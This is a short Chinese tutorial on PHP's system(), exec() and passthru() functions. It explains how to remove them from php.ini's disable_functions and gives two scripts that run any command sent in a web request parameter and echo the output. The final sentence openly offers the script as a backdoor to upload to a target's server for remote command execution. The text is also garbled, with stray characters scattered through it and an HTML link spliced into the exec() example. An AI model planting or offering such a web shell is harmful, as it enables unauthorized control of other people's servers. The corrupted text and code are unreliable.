php執(zhí)行shell命令,可以使用下面幾個函數(shù):?
string system ( string $command [, int &$return_var ] )string exec ( string $command [, array &$output [, int &$return_var ]] )void passthru ( string $command [, int &$return_var ] )
注意:
這三個函數(shù)在默認的情況下舔涎,都是被禁止了的
如果要使用這幾個函數(shù)懒震,
就要先修改php的配置文件php.ini
查找關鍵字disable_functions芬骄,將這一項中的這幾個函數(shù)名刪除掉
然后注意重啟apache。
首先看一下system()和passthru()兩個功能類似粘姜,可以互換:
<?php#獲取網(wǎng)頁傳遞參數(shù)$shell = $_REQUEST['shell'];echo "<pre>";system($shell, $status);echo "</pre>";//注意shell命令的執(zhí)行結果和執(zhí)行返回的狀態(tài)值的對應關系$shell = "<font color='red'>$shell</font>";if( $status ){echo "shell命令{$shell}執(zhí)行失敗";} else {echo "shell命令{$shell}成功執(zhí)行";}?>
訪問地址盗温,并傳遞shell參數(shù)
注意,system()會將shell命令執(zhí)行之后缝左,立馬顯示結果亿遂,這一點會比較不方便,因為我們有時候不需要結果立馬輸出渺杉,甚至不需要輸出蛇数,于是可以用到exec()
exec()的使用示例:?
<?php$shell = <a >艾曉園</a> $_REQUEST['shell'];exec($shell, $result, $status);$shell = "<font color='red'>$shell</font>";echo "<pre>";if( $status ){echo "shell命令{$shell}執(zhí)行失敗";} else {echo "shell命令{$shell}成功執(zhí)行, 結果如下<hr>";print_r( $result );}echo "</pre>";?>
exec()執(zhí)行shell命令成功,但是并不返回結果是越,需要使用輸出命令耳舅,輸出$result結果
作為木馬小后門,上傳到對方服務器下的網(wǎng)站目錄下倚评,訪問該地址浦徊,就可以在靶機上執(zhí)行你想執(zhí)行的命令,并且拿到回顯結果天梧。